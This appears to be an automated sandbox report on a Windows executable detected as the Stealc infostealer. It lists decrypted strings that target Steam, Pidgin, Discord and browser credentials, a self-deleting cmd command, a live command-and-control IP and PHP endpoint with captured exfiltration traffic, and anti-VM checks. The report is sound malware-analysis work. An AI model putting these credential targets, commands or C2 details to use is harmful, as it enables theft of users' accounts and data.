                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Pidgin
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: \.purple\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: accounts.xml
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: dQw4w9WgXcQ
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: token:
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Software\Valve\Steam
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: SteamPath
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: \config\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: ssfn*
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: config.vdf
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: DialogConfig.vdf
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: DialogConfigOverlay*.vdf
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: libraryfolders.vdf
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: loginusers.vdf
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: \Steam\
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: sqlite3.dll
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: browsers
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: done
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: soft
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: \Discord\tokens.txt
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: /c timeout /t 5 & del /f /q "
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: " & del "C:\ProgramData\*.dll"" & exit
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: C:\Windows\system32\cmd.exe
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: https
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Content-Type: multipart/form-data; boundary=----
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: POST
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: HTTP/1.1
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: Content-Disposition: form-data; name="
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: hwid
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: build
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: token
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: file_name
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: file
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: message
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
                Source: 0.2.file.exe.cd0000.0.unpackString decryptor: screenshot.jpg
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE9030 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,0_2_00CE9030
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CD72A0 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,0_2_00CD72A0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDA2B0 CryptUnprotectData,LocalAlloc,LocalFree,0_2_00CDA2B0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDA210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,0_2_00CDA210
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDC920 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,0_2_00CDC920
                Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp
                Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE40F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,0_2_00CE40F0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDE530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,0_2_00CDE530
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE47C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,0_2_00CE47C0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDF7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00CDF7B0
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CD1710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00CD1710
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDDB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,0_2_00CDDB80
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE4B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00CE4B60
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE3B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,0_2_00CE3B00
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDBE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,0_2_00CDBE40
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDEE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,0_2_00CDEE20
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CDDF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,0_2_00CDDF10

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: http://185.215.113.206/6c4adf523b719729.php
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
                Source: global trafficHTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 38 46 36 46 35 32 36 33 36 33 38 34 38 34 36 38 37 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="hwid"A428F6F526363848468766------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="build"tale------JKKEHJDHJKFIECAAKFIJ--
                Source: Joe Sandbox ViewIP Address: 185.215.113.206 185.215.113.206
                Source: Joe Sandbox ViewASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: unknownTCP traffic detected without corresponding DNS query: 185.215.113.206
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CD62D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,0_2_00CD62D0
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
                Source: unknownHTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 32 38 46 36 46 35 32 36 33 36 33 38 34 38 34 36 38 37 36 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="hwid"A428F6F526363848468766------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="build"tale------JKKEHJDHJKFIECAAKFIJ--
                Source: file.exe, 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206
                Source: file.exe, 00000000.00000002.2091636092.000000000157E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/
                Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/$
                Source: file.exe, 00000000.00000002.2091636092.00000000015C2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/405117-2476756634-1003ge
                Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
                Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
                Source: file.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpAC
                Source: file.exe, 00000000.00000002.2091636092.00000000015D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpeC
                Source: file.exe, 00000000.00000002.2091636092.00000000015DF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://185.215.113.206/d?
                Source: file.exe, file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

                System Summary

                barindex
                PE file contains section with special chars
                Source: file.exeStatic PE information: section name:
                Source: file.exeStatic PE information: section name: .rsrc
                Source: file.exeStatic PE information: section name: .idata
                Source: file.exeStatic PE information: section name:
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D100980_2_00D10098
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D2B1980_2_00D2B198
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D021380_2_00D02138
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0102F30E0_2_0102F30E
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011283370_2_01128337
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D142880_2_00D14288
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D3E2580_2_00D3E258
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_010172210_2_01017221
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D4D39E0_2_00D4D39E
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_012012E40_2_012012E4
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D5B3080_2_00D5B308
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_010D853F0_2_010D853F
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0112D5DC0_2_0112D5DC
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0112345A0_2_0112345A
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D145A80_2_00D145A8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D3D5A80_2_00D3D5A8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CFE5440_2_00CFE544
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_012024BA0_2_012024BA
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CF45730_2_00CF4573
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D166C80_2_00D166C8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D596FD0_2_00D596FD
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D4A6480_2_00D4A648
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011267FA0_2_011267FA
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0100D6030_2_0100D603
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D467990_2_00D46799
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0111C6760_2_0111C676
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D2D7200_2_00D2D720
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D3F8D60_2_00D3F8D6
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0112F9260_2_0112F926
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D298B80_2_00D298B8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D2B8A80_2_00D2B8A8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D248680_2_00D24868
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01130B4D0_2_01130B4D
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01118B720_2_01118B72
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D38BD90_2_00D38BD9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0112BA0D0_2_0112BA0D
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D40B880_2_00D40B88
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D44BA80_2_00D44BA8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D4AC280_2_00D4AC28
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D24DC80_2_00D24DC8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01124C520_2_01124C52
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D25DB90_2_00D25DB9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D01D780_2_00D01D78
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D2BD680_2_00D2BD68
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D3AD380_2_00D3AD38
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D41EE80_2_00D41EE8
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01017F9B0_2_01017F9B
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00D18E780_2_00D18E78
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01129EFA0_2_01129EFA
                Source: C:\Users\user\Desktop\file.exeCode function: String function: 00CD4610 appears 316 times
                Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: file.exeStatic PE information: Section: nrgnjalz ZLIB complexity 0.9948620709295262
                Source: classification engineClassification label: mal100.troj.evad.winEXE@1/0@0/1
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE9790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,0_2_00CE9790
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE3970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,0_2_00CE3970
                Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\L5KLWO0A.htmJump to behavior
                Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: file.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
                Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: rstrtmgr.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Users\user\Desktop\file.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
                Source: file.exeStatic file information: File size 2123776 > 1048576
                Source: file.exeStatic PE information: Raw size of nrgnjalz is bigger than: 0x100000 < 0x19b800
                Source: Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp
                Source: Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2037496917.00000000051BB000.00000004.00001000.00020000.00000000.sdmp

                Data Obfuscation

                barindex
                Detected unpacking (changes PE section rights)
                Source: C:\Users\user\Desktop\file.exeUnpacked PE file: 0.2.file.exe.cd0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;nrgnjalz:EW;wpavutyr:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;nrgnjalz:EW;wpavutyr:EW;.taggant:EW;
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE9BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00CE9BB0
                Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
                Source: file.exeStatic PE information: real checksum: 0x20d304 should be: 0x2165e3
                Source: file.exeStatic PE information: section name:
                Source: file.exeStatic PE information: section name: .rsrc
                Source: file.exeStatic PE information: section name: .idata
                Source: file.exeStatic PE information: section name:
                Source: file.exeStatic PE information: section name: nrgnjalz
                Source: file.exeStatic PE information: section name: wpavutyr
                Source: file.exeStatic PE information: section name: .taggant
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011D510D push ebx; mov dword ptr [esp], edx0_2_011D5498
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CFA0DC push eax; retf 0_2_00CFA0F1
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011EB1AE push 3F7FF5FDh; mov dword ptr [esp], ecx0_2_011EB32C
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011CE1AE push edx; mov dword ptr [esp], eax0_2_011CE1CE
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0119A1D1 push edi; mov dword ptr [esp], ecx0_2_0119A21C
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011E61F3 push 0BFBBF38h; mov dword ptr [esp], ebp0_2_011E65B5
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0117401D push 345DEF0Dh; mov dword ptr [esp], edi0_2_011740FF
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0117401D push 4596BC85h; mov dword ptr [esp], esi0_2_01174216
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_012440A8 push eax; mov dword ptr [esp], 0304A7EAh0_2_01244113
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CFA118 push eax; retf 0_2_00CFA119
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011E00ED push edx; mov dword ptr [esp], eax0_2_011E0132
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011E00ED push edi; mov dword ptr [esp], eax0_2_011E014D
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0121432B push edx; mov dword ptr [esp], eax0_2_0121437B
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0102F30E push 4DD61400h; mov dword ptr [esp], edi0_2_0102F3C3
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0102F30E push edi; mov dword ptr [esp], ecx0_2_0102F441
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0102F30E push eax; mov dword ptr [esp], ecx0_2_0102F459
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0102F30E push eax; mov dword ptr [esp], edx0_2_0102F4DF
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0102F30E push ecx; mov dword ptr [esp], ebp0_2_0102F4EA
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0102F30E push 355ED405h; mov dword ptr [esp], eax0_2_0102F4FD
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0102F30E push edi; mov dword ptr [esp], esi0_2_0102F52A
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_011A5338 push ebx; mov dword ptr [esp], eax0_2_011A5368
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01128337 push 5475B052h; mov dword ptr [esp], edx0_2_011283B9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01128337 push 3EC7C93Fh; mov dword ptr [esp], ebx0_2_011283D1
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01128337 push 10E259BEh; mov dword ptr [esp], edi0_2_01128432
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01128337 push 7FBE81E4h; mov dword ptr [esp], ecx0_2_01128457
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01128337 push 310FC622h; mov dword ptr [esp], ecx0_2_01128522
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01128337 push 5B025774h; mov dword ptr [esp], ecx0_2_0112856A
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01128337 push esi; mov dword ptr [esp], eax0_2_011285DF
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01128337 push edx; mov dword ptr [esp], ecx0_2_011286B9
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01128337 push eax; mov dword ptr [esp], ecx0_2_011286FC
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_01128337 push 510D125Dh; mov dword ptr [esp], ebx0_2_01128755
                Source: file.exeStatic PE information: section name: nrgnjalz entropy: 7.95429774987272

                Boot Survival

                barindex
                Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: RegmonClassJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: FilemonClassJump to behavior
                Source: C:\Users\user\Desktop\file.exeWindow searched: window name: PROCMON_WINDOW_CLASSJump to behavior
                Source: C:\Users\user\Desktop\file.exeCode function: 0_2_00CE9BB0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_00CE9BB0

                Malware Analysis System Evasion

                barindex
                Found evasive API chain (may stop execution after checking locale)
                Source: C:\Users\user\Desktop\file.exeEvasive API call chain: GetUserDefaultLangID, ExitProcessgraph_0-37983
                Tries to detect sandboxes / dynamic malware analysis system (registry check)
                Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                Tries to detect virtualization through RDTSC time measurements
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: FBE2C5 second address: FBE2CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113773C second address: 1137759 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBF09325AC3h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1137759 second address: 113775F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
